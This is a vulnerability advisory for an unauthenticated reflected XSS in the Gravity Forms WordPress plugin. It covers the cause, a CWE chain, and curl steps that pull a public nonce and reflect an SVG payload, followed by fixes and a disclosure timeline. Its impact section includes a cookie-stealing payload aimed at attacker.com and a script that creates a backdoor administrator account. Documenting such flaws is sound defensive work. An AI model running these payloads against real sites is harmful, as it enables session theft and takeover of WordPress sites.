
The Gravity Forms plugin for WordPress (tested through version 2.9.28) is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the `form_ids` parameter in the `gform_get_config` AJAX action.
| Field | Value |
|---|
| Affected Software | Gravity Forms (WordPress Plugin) |
| Vendor | Rocketgenius, Inc. |
| Vulnerability Type | CWE-79: Improper Neutralization of Input During Web Page Generation (Reflected Cross-Site Scripting) |
| CWE Chain | CWE-20 → CWE-116 → CWE-838 → CWE-79 (see CWE Analysis below) |
| Affected Versions | Confirmed on 2.9.28 (latest as of discovery); earlier versions likely affected |
| Fixed Version | 2.9.30.1 (hotfix) |
| CVSS 3.1 Score | 6.1 (Medium) |
| CVSS 3.1 Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Authentication Required | None (Unauthenticated) |
| User Interaction | Required (victim must visit attacker-controlled page or click crafted link) |
| Discovered By | Anthony Cihan — Obviam |
| Discovery Date | 2026-03-04 |
| Disclosure Date | 2026-03-18 |
| CVE ID | CVE-2026-4406 |
The Gravity Forms plugin for WordPress (tested through version 2.9.28) is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the form_ids parameter in the gform_get_config AJAX action. The vulnerability exists because user-supplied form_ids values are reflected verbatim in the server's HTTP response without any sanitization, encoding, or output escaping. The response is served with a Content-Type: text/html; charset=UTF-8 header, which causes the browser to parse and render the reflected content as HTML, including any injected script elements.
An unauthenticated attacker can exploit this vulnerability to execute arbitrary JavaScript in the context of the target WordPress site's origin. Because the gform_get_config action requires a valid config_nonce, and this nonce is publicly embedded in the HTML source of every page that loads a Gravity Forms form, an attacker can trivially obtain a valid nonce by requesting any public-facing page on the target site before constructing the exploit request.
Successful exploitation allows an attacker to steal session cookies, perform actions on behalf of authenticated users (including WordPress administrators), redirect users to malicious sites, deface page content, or establish persistent access through administrative account creation.
POST /wp-admin/admin-ajax.php
gform_get_config
The args POST parameter accepts a JSON object containing a form_ids array. Values in this array are used as object keys in the JSON response structure without sanitization:
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
The server processes the form_ids values and reflects them as JSON keys inside the response body. The response is wrapped in HTML comment markers and served as text/html:
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids values are not validated as integers, sanitized, or filtered. The server accepts arbitrary string content including HTML tags and event handlers.form_ids values are reflected in the response body without HTML entity encoding. Characters such as <, >, ", and ' pass through unmodified.Content-Type: text/html; charset=UTF-8, which instructs the browser to parse the response body as HTML. Any HTML tags within the reflected value are instantiated and rendered by the browser's HTML parser.config_nonce required by the gform_get_config action is embedded in the JavaScript configuration object (gform_theme_config) on every page that loads a Gravity Forms form. This nonce is identical across all pages and is not bound to a specific user session, making it trivially obtainable by unauthenticated users.This vulnerability is the result of multiple contributing weaknesses that chain together to produce the exploitable condition. While CWE-79 is the primary classification for CVE reporting purposes, the full chain documents how each failure compounds to enable exploitation.
CWE-20 CWE-116 CWE-838 CWE-79
Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site
Validation or Escaping of Output for Output Context Scripting (XSS)
[EXPLOITABLE]
form_ids accepts Reflected values are JSON data served as Browser parses
arbitrary strings not HTML-entity text/html instead of injected HTML tags
instead of integers encoded in response application/json and executes JS
Role: Root enabler — allows malicious data to enter the processing pipeline.
The form_ids parameter in the args JSON object is expected to contain numeric form identifiers but accepts arbitrary string input without any validation. No type checking (intval()), no regex filtering (^[0-9]+$), no whitelist comparison against known form IDs, and no length restrictions are applied.
Evidence: The server accepts and processes form_ids values containing HTML tags, JavaScript event handlers, and arbitrary Unicode without rejection.
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
Role: Core vulnerability — the direct cause of the XSS condition.
When the server constructs the JSON response containing the form_ids values, it does not apply HTML entity encoding to the output. Characters with special meaning in HTML (<, >, ", ', &) pass through unmodified into the response body. The PHP functions htmlspecialchars(), esc_html(), wp_json_encode() with JSON_HEX_TAG, or equivalent output encoding functions are not applied to the form_ids values before they are written into the response.
Evidence: The literal string <svg onload=alert(document.domain)> appears in the response body byte-for-byte identical to the input, rather than as <svg onload=alert(document.domain)>.
Role: Context escalation — transforms a data reflection issue into executable code injection.
The response body contains JSON-structured data but is served with Content-Type: text/html; charset=UTF-8. This Content-Type declaration instructs the browser's HTML parser to process the entire response body as an HTML document. If the response were served as application/json, the browser would render the response as plain text and no HTML parsing would occur — the injected tags would be displayed as literal text rather than instantiated as DOM elements.
Evidence:
Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing)
Content-Type: application/json ← Expected (would prevent exploitation)
The X-Content-Type-Options: nosniff header is present but irrelevant because the server is explicitly declaring text/html — there is no MIME type sniffing to prevent.
Role: Exploitable outcome — the realized vulnerability.
The combination of the three contributing weaknesses produces a reflected cross-site scripting condition. User-supplied input flows from the HTTP request through server-side processing and into the HTTP response without sanitization, encoding, or context-appropriate Content-Type declaration, resulting in arbitrary JavaScript execution in the victim's browser.
Subtype: Reflected (Type 1) — the payload is included in the HTTP request and immediately reflected in the HTTP response without storage.
| CWE ID | Name | Role | Exploitable Alone? |
|---|---|---|---|
| CWE-20 | Improper Input Validation | Contributing (root enabler) | No — bad data enters but isn't rendered |
| CWE-116 | Improper Encoding or Escaping of Output | Primary technical failure | Partially — requires HTML rendering context |
| CWE-838 | Inappropriate Encoding for Output Context | Compounding (context escalation) | No — requires unescaped data to be present |
| CWE-79 | Cross-Site Scripting (Reflected) | Resultant (exploitable) | Yes — this is the realized vulnerability |
Any single remediation from the list below would break the chain and prevent exploitation:
| Fix | Breaks Chain At | Sufficient Alone? |
|---|---|---|
Type-cast form_ids to integers | CWE-20 (input) | ✅ Yes |
| HTML-entity encode output | CWE-116 (output) | ✅ Yes |
Serve response as application/json | CWE-838 (context) | ✅ Yes |
Recommendation: Implement all three as defense-in-depth. The most critical fix is output encoding (CWE-116), as it protects against current and future injection vectors regardless of input validation or Content-Type changes.
| Field | Value |
|---|---|
| Software Type | WordPress Plugin |
| Software Slug | gravityforms |
| Wordfence Intel URL | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| Affected Versions | <= 2.9.28 (latest confirmed) |
| Vulnerability Title | Gravity Forms <= 2.9.28 — Unauthenticated Reflected Cross-Site Scripting via form_ids Parameter |
| CWE (Primary) | CWE-79 |
| CVSS 3.1 | 6.1 — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Required Privilege | Unauthenticated |
| Patch Status | Patched in 2.9.30.1 |
gform_get_config AJAX action registered (default behavior upon plugin activation)The config_nonce is embedded in the global gform_theme_config JavaScript variable on any page containing a Gravity Forms form:
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
This nonce was confirmed to be:
| Header | Value | Impact on Exploitability |
|---|---|---|
X-Content-Type-Options | nosniff | Does not mitigate — the server explicitly declares text/html |
X-Frame-Options | SAMEORIGIN | Prevents iframe-based exploitation from cross-origin; popup/redirect delivery still works |
Content-Security-Policy | frame-ancestors 'self'; | No script-src directive — inline script execution is unrestricted |
Referrer-Policy | strict-origin-when-cross-origin | No impact on exploitability |
| Component | Version |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| Web Server | Apache (HTTP/2) |
| Testing Platform | Kali Linux, curl 8.x |
Request any page on the target site that loads a Gravity Forms form and extract the config_nonce value:
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
Example output:
9308d72c0a
Submit a POST request to the WordPress AJAX handler with a crafted form_ids value containing an XSS payload:
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(document.domain)>"]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
HTTP Response Headers:
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
HTTP Response Body:
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"<svg onload=alert(document.domain)>":null}}}}}<!-- gf:json_end -->
The <svg onload=alert(document.domain)> payload is reflected verbatim without any encoding in the response body. Because the response is served as text/html, the browser instantiates the SVG element and executes the onload event handler, triggering JavaScript execution in the context of the target site's origin.
Multiple payloads can be injected simultaneously via the form_ids array:
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
Response:
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"<svg onload=alert(1)>":null,"":null}}}}}<!-- gf:json_end -->
The config_path form number is arbitrary — any integer works (tested: 1, 3, 999), and invalid config paths return an error message that does not reflect the form_ids value.
An attacker hosts a page that automatically scrapes a valid nonce from the target, then submits the exploit form to a popup window. The payload exfiltrates session cookies to an attacker-controlled server:
Payload:
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>
Decoded JavaScript:
new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
This technique uses the this.id self-referencing pattern to avoid quote and space characters in the reflected attribute context, encoding the full exploit logic in Base64 within the SVG element's id attribute.
If an authenticated WordPress administrator visits the attacker's page, their session cookie (wordpress_logged_in_*, wordpress_sec_*) is transmitted to the attacker, who can then impersonate the administrator.
Using the same delivery mechanism, the payload can make authenticated API requests to the WordPress REST API or admin pages to create a new administrator account:
fetch('/wp-json/wp/v2/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});
The reflected XSS can replace the entire page DOM with a convincing phishing overlay (e.g., a fake login page or session timeout prompt) to harvest credentials directly.
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐
│ Attacker │ ──────────────────────────────► Target WordPress │
│ (External) │ ◄────────────────────────────── (Gravity Forms) │
│ │ 2. HTML with config_nonce │ │
│ │ │ │
│ │ 3. Craft malicious page │ │
│ │ with auto-submit form │ │
│ │ │ │
│ ┌────────┐ │ 4. Send link to victim │ │
│ │Malicious│ │ ───────────────────────► │ │
│ │ Page │ │ ┌───────┴──┐ │
│ └────────┘ │ │ Victim │ │
│ │ │ (WP Admin)│ │
│ │ └───────┬──┘ │
│ │ 5. Victim's browser POSTs │ │
│ │ XSS payload with nonce │ │
│ │ ────────►│ │
│ │ 6. Server reflects payload │ │
│ │ unescaped in text/html │ │
│ │ ◄────────│ │
│ │ 7. JS executes in target │ │
│ │ origin (session context)│ │
│ │ │ │
│ │ ◄── 8. Exfil cookies/tokens ── │ │
└─────────────┘ └─────────────────┘
| Tactic | Technique | ID | Description |
|---|---|---|---|
| Initial Access | Drive-by Compromise | T1189 | Victim visits attacker-controlled page hosting the XSS delivery mechanism |
| Execution | User Execution: Malicious Link | T1204.001 | Victim clicks link to attacker page or is redirected |
| Credential Access | Steal Web Session Cookie | T1539 | XSS payload exfiltrates session cookies from the victim's browser |
| Persistence | Create Account | T1136.001 | Attacker uses stolen admin session to create a backdoor administrator account |
| Defense Evasion | Abuse Elevation Control Mechanism | T1548 | XSS executes in the context of a privileged user's session |
wordpress_logged_in_* and wordpress_sec_*) can be exfiltratedInput Validation — Enforce strict integer type casting on all form_ids values before processing. Reject any value that does not match ^[0-9]+$:
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
Output Encoding — Apply wp_json_encode() with JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT flags when constructing the JSON response to ensure HTML-significant characters are escaped:
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type Correction — Set the response Content-Type to application/json instead of text/html for all AJAX JSON responses. This prevents the browser from parsing the response as HTML even if unsanitized content is reflected:
header('Content-Type: application/json; charset=UTF-8');
Nonce Scoping — Consider tying the config_nonce to the user session or implementing rate limiting on nonce generation to increase the cost of automated exploitation.
args parameter of admin-ajax.php POST requests where action=gform_get_configscript-src CSP directive (e.g., script-src 'self') to prevent execution of inline scripts even if reflected| Date | Event |
|---|---|
| 2026-03-04 | Vulnerability discovered during authorized penetration test |
| 2026-03-04 | Reported to Wordfence (WordPress CNA) |
| 2026-03-XX | Initial rejection by Wordfence (misclassified as self-XSS) |
| 2026-03-XX | Resubmitted with weaponized POC and nonce analysis; decision reversed |
| 2026-03-18 | CVE-2026-4406 assigned by Wordfence |
| 2026-03-18 | Vendor notified via [email protected] |
| 2026-03-21 | Vendor acknowledged and provided hotfix (2.9.30.1) for review |
| 2026-04-02 | Patch verified — absint() input validation on form_ids and Content-Type: application/json confirmed to remediate the vulnerability |
| 2026-04-02 | Vulnerability resolved |
This vulnerability was discovered during an authorized penetration testing engagement conducted under a signed statement of work with explicit written authorization. All testing was performed within the agreed-upon scope, and findings were reported to the client immediately upon discovery. This disclosure follows responsible disclosure practices. No unauthorized systems were accessed, and no data was exfiltrated outside of controlled proof-of-concept validation.
Discovered by: Anthony Cihan